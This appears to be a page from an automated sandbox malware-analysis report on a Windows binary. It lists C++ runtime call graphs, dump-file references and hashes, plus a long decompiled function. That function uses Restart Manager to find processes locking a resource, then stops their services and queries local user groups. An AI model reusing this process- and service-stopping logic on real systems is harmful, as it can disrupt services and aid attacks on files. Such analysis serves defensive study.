Part of subcall function 000D87A2: std::_Lockit::_Lockit.LIBCPMT ref: 000D87B3
Part of subcall function 000D87A2: std::_Lockit::~_Lockit.LIBCPMT ref: 000D8857
Part of subcall function 000D87A2: Concurrency::cancel_current_task.LIBCPMT ref: 000D8862
Part of subcall function 000D87A2: __EH_prolog3.LIBCMT ref: 000D886F
Part of subcall function 000D87A2: std::locale::_Locimp::_Makeloc.LIBCPMT ref: 000D889B

int.LIBCPMT ref: 000D8997
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D89C5
int.LIBCPMT ref: 000D89D2
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D89F9
int.LIBCPMT ref: 000D8A06
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D8A4D

Part of subcall function 00072FE0: __Getcvt.LIBCPMT ref: 0007301E
Part of subcall function 00072FE0: __Getcvt.LIBCPMT ref: 00073043
Part of subcall function 00072FE0: Concurrency::cancel_current_task.LIBCPMT ref: 00073149
Part of subcall function 00072FE0: Concurrency::cancel_current_task.LIBCPMT ref: 0007314E
Part of subcall function 00072FE0: Concurrency::cancel_current_task.LIBCPMT ref: 00073153
Part of subcall function 00072FE0: numpunct.LIBCPMT ref: 0007315B
Part of subcall function 00072FE0: __CxxThrowException@8.LIBVCRUNTIME ref: 00073164

Part of subcall function 000D74D8: __EH_prolog3.LIBCMT ref: 000D74DF
Part of subcall function 000D74D8: std::_Lockit::_Lockit.LIBCPMT ref: 000D74E9
Part of subcall function 000D74D8: int.LIBCPMT ref: 000D7500
Part of subcall function 000D74D8: std::_Facet_Register.LIBCPMT ref: 000D753A
Part of subcall function 000D74D8: std::_Lockit::~_Lockit.LIBCPMT ref: 000D755A
Part of subcall function 000D74D8: __CxxThrowException@8.LIBVCRUNTIME ref: 000D7578

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D8A60
int.LIBCPMT ref: 000D8A6D

Part of subcall function 0006F680: std::_Lockit::_Lockit.LIBCPMT ref: 0006F6AD
Part of subcall function 0006F680: std::_Lockit::_Lockit.LIBCPMT ref: 0006F6CD
Part of subcall function 0006F680: std::_Lockit::~_Lockit.LIBCPMT ref: 0006F6ED
Part of subcall function 0006F680: std::_Facet_Register.LIBCPMT ref: 0006F78D
Part of subcall function 0006F680: std::_Lockit::~_Lockit.LIBCPMT ref: 0006F7AD

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D8A7D
int.LIBCPMT ref: 000D8A8A

Part of subcall function 0006FAB0: std::_Lockit::_Lockit.LIBCPMT ref: 0006FAE4
Part of subcall function 0006FAB0: std::_Lockit::_Lockit.LIBCPMT ref: 0006FB04
Part of subcall function 0006FAB0: std::_Lockit::~_Lockit.LIBCPMT ref: 0006FB24
Part of subcall function 0006FAB0: std::_Facet_Register.LIBCPMT ref: 0006FBEA
Part of subcall function 0006FAB0: std::_Lockit::~_Lockit.LIBCPMT ref: 0006FC0A

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D8A9A
int.LIBCPMT ref: 000D8AAD
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D8AD7

Part of subcall function 0006F530: std::_Lockit::_Lockit.LIBCPMT ref: 0006F55D
Part of subcall function 0006F530: std::_Lockit::_Lockit.LIBCPMT ref: 0006F57D
Part of subcall function 0006F530: std::_Lockit::~_Lockit.LIBCPMT ref: 0006F59D
Part of subcall function 0006F530: std::_Facet_Register.LIBCPMT ref: 0006F63D
Part of subcall function 0006F530: std::_Lockit::~_Lockit.LIBCPMT ref: 0006F65D

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000D8AEA
std::locale::_Locimp::_Makeushloc.LIBCPMT ref: 000D8B06

Part of subcall function 000E3605: __EH_prolog3.LIBCMT ref: 000E360C
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3627
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3661
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3678
Part of subcall function 000E3605: int.LIBCPMT ref: 000E368F
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E36BF
Part of subcall function 000E3605: int.LIBCPMT ref: 000E36CC
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E36F2
Part of subcall function 000E3605: int.LIBCPMT ref: 000E36FF
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3744
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3759
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3766
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3778
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3785
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3797
Part of subcall function 000E3605: int.LIBCPMT ref: 000E37BB
Part of subcall function 000E3605: __Getcoll.LIBCPMT ref: 000E37E3
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E37F7
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E380E
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3823
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E384F
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3864
Part of subcall function 000E3605: int.LIBCPMT ref: 000E387D
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E38AD
Part of subcall function 000E3605: int.LIBCPMT ref: 000E38BA
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E38E0
Part of subcall function 000E3605: int.LIBCPMT ref: 000E38ED
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E393B
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3948
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3997
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E39AC
Part of subcall function 000E3605: int.LIBCPMT ref: 000E39B9
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E39CB
Part of subcall function 000E3605: int.LIBCPMT ref: 000E39D8
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E39EA
Part of subcall function 000E3605: int.LIBCPMT ref: 000E39F7
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3A09
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3A22
Part of subcall function 000E3605: numpunct.LIBCPMT ref: 000E3A4B
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3A5B
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3A68
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3A90
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3AA5
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3AB2
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3AC4
Part of subcall function 000E3605: int.LIBCPMT ref: 000E3AD7
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3B03
Part of subcall function 000E3605: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3B18

std::locale::_Locimp::_Makeushloc.LIBCPMT ref: 000D8B12

Part of subcall function 000E30E4: __EH_prolog3.LIBCMT ref: 000E30EB
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3106
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3140
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3157
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E316E
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E319E
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E31AB
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E31D1
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E31DE
Part of subcall function 000E30E4: numpunct.LIBCPMT ref: 000E3211
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3223
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3238
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3245
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3257
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3264
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3276
Part of subcall function 000E30E4: collate.LIBCPMT ref: 000E3280
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E329A
Part of subcall function 000E30E4: __Getcoll.LIBCPMT ref: 000E32C2
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E32D6
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E32ED
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3302
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E332E
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3343
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E335C
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E338C
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3399
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E33BF
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E33CC
Part of subcall function 000E30E4: _Mpunct.LIBCPMT ref: 000E3402
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E341A
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3427
Part of subcall function 000E30E4: _Mpunct.LIBCPMT ref: 000E345E
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3476
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E348B
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3498
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E34AA
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E34B7
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E34C9
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E34D6
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E34E8
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3501
Part of subcall function 000E30E4: numpunct.LIBCPMT ref: 000E352A
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E353A
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3547
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E356F
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E3584
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E3591
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E35A3
Part of subcall function 000E30E4: int.LIBCPMT ref: 000E35B6
Part of subcall function 000E30E4: codecvt.LIBCPMT ref: 000E35D8
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E35E2
Part of subcall function 000E30E4: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 000E35F7

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Locimp::_std::locale::_$AddfacLocimp_$std::_$Lockit$Lockit::_Lockit::~_$H_prolog3$Facet_Register$Concurrency::cancel_current_taskMpunctnumpunct$Exception@8GetcollThrow$GetctypeGetcvtMakeushloccollate$Makeloccodecvt
String ID:
API String ID: 2487713115-0
Opcode ID: 0add4d22ce614d22319d5024b3b7f1f3b8b002c749bbcabd26ba9f4c37236169
Instruction ID: c06e3731486032bd134b3b1f8f125b949131336b7a6d54eb95d5bbeda2dcea5c
Opcode Fuzzy Hash: 0add4d22ce614d22319d5024b3b7f1f3b8b002c749bbcabd26ba9f4c37236169
Instruction Fuzzy Hash: 3F51C6B19143116AE7157B668C46EBF79ACEF52360F44C02BF909B6383EF74890483B2

Uniqueness

Uniqueness Score: 100.00%

Function 000949D0, Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 333
servicesleepUNIQUE

Download Yara Rule

C-Code - Quality: 60%

			E000949D0(void* __ecx, void* __edx, char _a3) {
				short* _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				void* _v32;
				char _v40;
				char _v52;
				char _v88;
				intOrPtr _v92;
				signed int _v96;
				long* _v100;
				char _v112;
				signed int _v116;
				short* _v120;
				short** _v136;
				long _v148;
				intOrPtr _v168;
				struct _SERVICE_STATUS _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				void* _v192;
				void* _v196;
				void* _v200;
				intOrPtr _v204;
				char _v208;
				signed int _v316;
				unsigned int _v328;
				unsigned int _v332;
				signed int _v336;
				short* _v352;
				char _v360;
				short* _v364;
				short* _v368;
				int _v372;
				short* _v376;
				short** _v380;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t166;
				signed int _t167;
				signed int _t169;
				void* _t175;
				char _t177;
				void* _t182;
				char _t183;
				signed int _t188;
				short** _t193;
				void* _t198;
				unsigned int _t206;
				unsigned int _t213;
				signed int _t218;
				signed int _t224;
				void* _t233;
				signed int _t234;
				signed int _t239;
				signed int _t243;
				signed int _t249;
				signed int _t255;
				void* _t256;
				signed int _t258;
				struct _SERVICE_STATUS* _t267;
				short** _t282;
				char* _t286;
				void* _t294;
				signed int _t296;
				void* _t300;
				long _t302;
				short** _t313;
				signed int _t314;
				signed int _t316;
				unsigned int _t322;
				signed int _t324;
				signed int _t328;
				char* _t335;
				short** _t337;
				signed int _t339;
				void* _t341;
				signed int _t346;
				signed int _t352;
				signed int _t353;
				void* _t355;
				intOrPtr _t359;
				signed int _t360;
				void* _t361;
				long* _t362;
				short** _t364;
				signed int _t368;
				signed int _t370;
				short** _t372;
				void* _t380;
				signed int _t381;
				void* _t383;
				signed int _t384;
				signed int _t386;
				signed int _t388;
				signed int _t389;
				void* _t390;
				void* _t393;
				signed int _t396;
				void* _t398;
				signed int _t404;
				void* _t405;
				void* _t407;
				void* _t408;
				signed int _t410;

				_t396 = _t404;
				_push(0xffffffff);
				_push(E001313B8);
				_push( *[fs:0x0]);
				_t405 = _t404 - 0xc0;
				_t166 =  *0x16f170; // 0xdb2c627e
				_t167 = _t166 ^ _t396;
				_v20 = _t167;
				_push(_t378);
				_push(_t362);
				_push(_t167);
				 *[fs:0x0] =  &_v16;
				_t294 = __ecx;
				_t169 =  *0x17a6b8; // 0xf
				if((_t169 & 0x00000001) != 0) {
					L12:
					if( *0x17a6bc == 0) {
						L46:
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t396);
					} else {
						if((_t169 & 0x00000002) == 0) {
							 *0x17a6b8 = _t169 | 0x00000002;
							_v8 = 5;
							 *0x17a6c4 = E0008EE00(0x17a6bc, _t362, _t378, "RmStartSession");
							_v8 = 0xffffffff;
							_t169 =  *0x17a6b8; // 0xf
						}
						if((_t169 & 0x00000004) == 0) {
							 *0x17a6b8 = _t169 | 0x00000004;
							_v8 = 6;
							 *0x17a6c8 = E0008EE00(0x17a6bc, _t362, _t378, "RmRegisterResources");
							_v8 = 0xffffffff;
							_t169 =  *0x17a6b8; // 0xf
						}
						if((_t169 & 0x00000008) == 0) {
							 *0x17a6b8 = _t169 | 0x00000008;
							_v8 = 7;
							 *0x17a6c0 = E0008EE00(0x17a6bc, _t362, _t378, "RmGetList");
							_v8 = 0xffffffff;
						}
						E001053E0(_t362,  &_v88, 0, 0x42);
						_t407 = _t405 + 0xc;
						_t175 =  *0x17a6c4( &_v184, 0,  &_v88); // executed
						if(_t175 != 0) {
							goto L46;
						} else {
							if( *((intOrPtr*)(_t294 + 0x14)) >= 8) {
								_t294 =  *_t294;
							}
							_v192 = _t294;
							_t177 =  *0x17a6c8(_v184, 1,  &_v192, 0, 0, 0, 0); // executed
							_t437 = _t177;
							if(_t177 != 0) {
								goto L46;
							} else {
								_t408 = _t407 - 8;
								_v188 = _t177;
								_v180 = _t177;
								_v176 = _t177;
								E00094E90( &_v100, _t437);
								_v8 = 8;
								_t182 =  *0x17a6c0(_v184,  &_v180,  &_v176, _v100,  &_v188); // executed
								if(_t182 == 0 || _t182 == 0xea) {
									_t183 = _v180;
									if(_t183 != 0) {
										_v176 = _t183;
										_push( &_v100);
										_push(_t183);
										L57();
										_push( &_v188);
										_push(_v100);
										_push( &_v176);
										_push( &_v180);
										_push(_v184);
										if( *0x17a6c0() == 0) {
											_t188 = _v96;
											_t362 = _v100;
											_v204 = _t188;
											if(_t362 != _t188) {
												do {
													_t380 = OpenProcess(1, 0,  *_t362);
													_v200 = _t380;
													if(_t380 == 0) {
														goto L44;
													} else {
														E00064600( &_v136,  &(_t362[0x83]));
														_t294 = OpenSCManagerW(0, 0, 5);
														_v196 = _t294;
														if(_t294 != 0) {
															_t330 =  >=  ? _v136 :  &_v136;
															_t393 = OpenServiceW(_t294,  >=  ? _v136 :  &_v136, 0x2c);
															if(_t393 != 0) {
																E000947F0(_t294, _t393, _t294, _t362, _t393);
																ControlService(_t393, 1,  &_v172);
																_t302 = GetTickCount();
																if(_v168 != 1) {
																	do {
																		Sleep(_v148);
																		_t267 =  &_v172;
																		__imp__QueryServiceStatusEx(_t393, 0, _t267, 0x24,  &_v208);
																	} while (_t267 != 0 && _v168 != 1 && GetTickCount() - _t302 <= 0x1388 && _v168 != 1);
																}
																CloseServiceHandle(_t393);
																_t294 = _v196;
															}
															CloseServiceHandle(_t294);
															_t380 = _v200;
														}
														_t339 = _v116;
														if(_t339 < 8) {
															L43:
															CloseHandle(_t380);
															goto L44;
														} else {
															_t313 = _v136;
															_t341 = 2 + _t339 * 2;
															_t193 = _t313;
															if(_t341 < 0x1000) {
																L42:
																_push(_t341);
																E000ED2D0(_t313);
																_t408 = _t408 + 8;
																goto L43;
															} else {
																_t313 =  *(_t313 - 4);
																_t341 = _t341 + 0x23;
																if(_t193 - _t313 + 0xfffffffc > 0x1f) {
																	goto L47;
																} else {
																	goto L42;
																}
															}
														}
													}
													goto L99;
													L44:
													_t362 =  &(_t362[0xa7]);
												} while (_t362 != _v204);
											}
										}
									}
									goto L45;
								} else {
									L45:
									L50();
									goto L46;
								}
							}
						}
					}
				} else {
					 *0x17a6b8 = _t169 | 0x00000001;
					_v8 = 0;
					_v120 = 0;
					_v116 = 7;
					_v136 = 0;
					_v8 = 1;
					_t335 =  &_v112;
					_push(0xc);
					_v96 = 0;
					_v92 = 0xf;
					_v112 = 0;
					E00068B90(_t335, __edx, _t378, "Rstrtmgr.dll");
					_v8 = 2;
					_t378 = _v96;
					if(_t378 != 0) {
						_t335 = _v112;
						_t377 =  >=  ? _t335 :  &_v112;
						_t362 = ( >=  ? _t335 :  &_v112) + _t378;
						_t378 =  >=  ? _t335 :  &_v112;
						_push(L000ABB20(_t294, _t335, __edx));
						_push( &_v136);
						_push(_t362);
						_push( >=  ? _t335 :  &_v112);
						E000AB300(_t294, _t362,  >=  ? _t335 :  &_v112);
						_t405 = _t405 + 0x10;
					}
					_v8 = 1;
					_t359 = _v92;
					if(_t359 < 0x10) {
						L7:
						 *0x17a6bc = 0;
						_push(_t335);
						_v8 = 4;
						E0008EDA0(_t294, 0x17a6bc, _t359, _t362, _t424,  &_v136); // executed
						_v8 = 0;
						_t360 = _v116;
						if(_t360 < 8) {
							L11:
							E000ED2BB(_t427, 0x138910);
							_v8 = 0xffffffff;
							_t405 = _t405 + 4;
							_t169 =  *0x17a6b8; // 0xf
							goto L12;
						} else {
							_t337 = _v136;
							_t361 = 2 + _t360 * 2;
							_t282 = _t337;
							if(_t361 < 0x1000) {
								L10:
								_push(_t361);
								E000ED2D0(_t337);
								_t405 = _t405 + 8;
								goto L11;
							} else {
								_t313 =  *(_t337 - 4);
								_t341 = _t361 + 0x23;
								_t427 = _t282 - _t313 + 0xfffffffc - 0x1f;
								if(_t282 - _t313 + 0xfffffffc > 0x1f) {
									goto L48;
								} else {
									goto L10;
								}
							}
						}
					} else {
						_t335 = _v112;
						_t359 = _t359 + 1;
						_t286 = _t335;
						if(_t359 < 0x1000) {
							L6:
							_push(_t359);
							E000ED2D0(_t335);
							_t405 = _t405 + 8;
							goto L7;
						} else {
							_t313 =  *(_t335 - 4);
							_t341 = _t359 + 0x23;
							_t424 = _t286 - _t313 + 0xfffffffc - 0x1f;
							if(_t286 - _t313 + 0xfffffffc > 0x1f) {
								L47:
								E0010F44B(_t294, _t313, _t341, _t362, __eflags);
								L48:
								_t198 = E0010F44B(_t294, _t313, _t341, _t362, __eflags);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t380);
								_push(_t362);
								_t364 = _t313;
								_t381 =  *_t364;
								__eflags = _t381;
								if(_t381 == 0) {
									L55:
									return _t198;
								} else {
									_t314 = ((0x621b97c3 * (_t364[2] - _t381) >> 0x20 >> 8 >> 0x1f) + (0x621b97c3 * (_t364[2] - _t381) >> 0x20 >> 8)) * 0x29c;
									__eflags = _t314 - 0x1000;
									if(_t314 < 0x1000) {
										L54:
										_push(_t314);
										_t198 = E000ED2D0(_t381);
										 *_t364 = 0;
										_t364[1] = 0;
										_t364[2] = 0;
										goto L55;
									} else {
										_t346 =  *(_t381 - 4);
										_t314 = _t314 + 0x23;
										_t383 = _t381 - _t346;
										_t106 = _t383 - 4; // -4
										__eflags = _t106 - 0x1f;
										if(__eflags > 0) {
											E0010F44B(_t294, _t314, _t346, _t364, __eflags);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t396);
											_t398 = _t408;
											_t410 = _t408 - 0xc;
											_push(_t294);
											_t296 = _t314;
											_push(_t383);
											_t384 = _v316;
											_push(_t364);
											_t206 =  *(_t296 + 4);
											_t316 =  *(_t296 + 8) -  *_t296;
											_v328 = _t206;
											_t368 = (0x621b97c3 * (_t206 -  *_t296) >> 0x20 >> 8 >> 0x1f) + (0x621b97c3 * (_t206 -  *_t296) >> 0x20 >> 8);
											_v336 = _t368;
											_t352 = 0x621b97c3 * _t316 >> 0x20 >> 8;
											_t213 = (_t352 >> 0x1f) + _t352;
											_v332 = _t213;
											__eflags = _t384 - _t213;
											if(_t384 <= _t213) {
												__eflags = _t384 - _t368;
												if(__eflags <= 0) {
													if(__eflags != 0) {
														_t213 = _t384 * 0x29c +  *_t296;
														__eflags = _t213;
														 *(_t296 + 4) = _t213;
													}
													return _t213;
												} else {
													_t386 = _t384 - _t368;
													__eflags = _t386;
													_t142 =  &_v12; // 0x94e4e
													_t370 =  *_t142;
													if(_t386 != 0) {
														_t388 = _t386 * 0x29c;
														_t213 = E001053E0(_t370, _t370, 0, _t388);
														_t370 = _t370 + _t388;
														__eflags = _t370;
													}
													 *(_t296 + 4) = _t370;
													return _t213;
												}
											} else {
												__eflags = _t384 - 0x621b97;
												if(_t384 > 0x621b97) {
													E00066EB0(_t316);
													goto L86;
												} else {
													_t353 = _v16;
													_t322 = _t213 >> 1;
													__eflags = _t353 - 0x621b97 - _t322;
													if(_t353 <= 0x621b97 - _t322) {
														_t233 = _t322 + _t353;
														__eflags = _t233 - _t384;
														_t234 =  <  ? _t384 : _t233;
													} else {
														_t234 = _t384;
													}
													_t316 = _t234 * 0x29c;
													_v16 = _t316;
													__eflags = _t234 - 0x621b97;
													if(_t234 <= 0x621b97) {
														__eflags = _t316 - 0x1000;
														if(_t316 < 0x1000) {
															__eflags = _t316;
															if(__eflags == 0) {
																_t368 = 0;
																__eflags = 0;
															} else {
																_push(_t316);
																_t255 = E000ECF08(_t384, __eflags);
																_t410 = _t410 + 4;
																_t368 = _t255;
															}
															goto L70;
														} else {
															goto L65;
														}
													} else {
														_t316 = _t316 | 0xffffffff;
														L65:
														_t126 = _t316 + 0x23; // 0x23
														_t256 = _t126;
														_t352 = _t353 | 0xffffffff;
														__eflags = _t256 - _t316;
														_t257 =  <=  ? _t352 : _t256;
														_push( <=  ? _t352 : _t256);
														_t258 = E000ECF08(_t384, _t256 - _t316);
														_t410 = _t410 + 4;
														__eflags = _t258;
														if(__eflags == 0) {
															L86:
															E0010F44B(_t296, _t316, _t352, _t368, __eflags);
															asm("int3");
															asm("int3");
															asm("int3");
															asm("int3");
															_push(_t398);
															_push(0xffffffff);
															_push(E001313F9);
															_push( *[fs:0x0]);
															_push(_t296);
															_push(_t384);
															_push(_t368);
															_t218 =  *0x16f170; // 0xdb2c627e
															_push(_t218 ^ _t410);
															 *[fs:0x0] =  &_v360;
															_t389 = _t352;
															_t372 = _t316;
															_v380 = _t372;
															_v352 = 0;
															_v372 = 0;
															 *_t372 = 0;
															_t372[1] = 0;
															 *_t372 = E0006BDD0();
															_v352 = 0;
															__eflags =  *((intOrPtr*)(_t389 + 0x14)) - 8;
															_v372 = 1;
															_v368 = 0;
															_v364 = 0;
															_v376 = 0;
															if( *((intOrPtr*)(_t389 + 0x14)) >= 8) {
																_t389 =  *_t389;
															}
															_t224 =  &_v32;
															__imp__NetUserGetLocalGroups(0, _t389, 0, 1, _t224, 0xffffffff,  &_v28,  &_v40);
															__eflags = _t224;
															if(_t224 != 0) {
																L95:
																_t390 = _v32;
																goto L96;
															} else {
																_t390 = _v32;
																__eflags = _t390;
																if(_t390 != 0) {
																	_t300 = 0;
																	__eflags = _v28;
																	if(_v28 > 0) {
																		while(1) {
																			__eflags = _t390;
																			if(_t390 == 0) {
																				goto L95;
																			}
																			E00096050(_t372,  &_v52, _t372, E00095FA0(_t372, _t390) + 0x10, _t227);
																			_t300 = _t300 + 1;
																			_t390 = _t390 + 4;
																			__eflags = _t300 - _v28;
																			if(_t300 < _v28) {
																				continue;
																			}
																			goto L95;
																		}
																		goto L95;
																	}
																	L96:
																	__eflags = _t390;
																	if(_t390 != 0) {
																		NetApiBufferFree(_t390);
																	}
																}
															}
															 *[fs:0x0] = _v24;
															return _t372;
														} else {
															_t127 = _t258 + 0x23; // 0x23
															_t368 = _t127 & 0xffffffe0;
															 *(_t368 - 4) = _t258;
															L70:
															_t355 = _v20 * 0x29c + _t368;
															_t324 = _t384 - _v20;
															__eflags = _t324;
															if(_t324 != 0) {
																__eflags = _t324 * 0x29c;
																E001053E0(_t368, _t355, 0, _t324 * 0x29c);
																_t410 = _t410 + 0xc;
															}
															_push(_t324);
															E000822E0( &_a3);
															E00104E60(_t368,  *_t296,  *(_t296 + 4) -  *_t296);
															_t239 =  *_t296;
															_t410 = _t410 + 0x10;
															__eflags = _t239;
															if(_t239 == 0) {
																L77:
																 *_t296 = _t368;
																 *(_t296 + 4) = _t384 * 0x29c + _t368;
																_t243 = _v16 + _t368;
																__eflags = _t243;
																 *(_t296 + 8) = _t243;
																return _t243;
															} else {
																_t328 = ((0x621b97c3 * ( *(_t296 + 8) - _t239) >> 0x20 >> 8 >> 0x1f) + (0x621b97c3 * ( *(_t296 + 8) - _t239) >> 0x20 >> 8)) * 0x29c;
																_t249 =  *_t296;
																__eflags = _t328 - 0x1000;
																if(_t328 < 0x1000) {
																	L76:
																	_push(_t328);
																	E000ED2D0(_t249);
																	goto L77;
																} else {
																	_t352 =  *(_t249 - 4);
																	_t316 = _t328 + 0x23;
																	__eflags = _t249 - _t352 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L86;
																	} else {
																		_t249 = _t352;
																		goto L76;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											_t381 = _t346;
											goto L54;
										}
									}
								}
							} else {
								goto L6;
							}
						}
					}
				}
				L99:
			}

0x000949d1
0x000949d3
0x000949d5
0x000949e0
0x000949e1
0x000949e7
0x000949ec
0x000949ee
0x000949f2
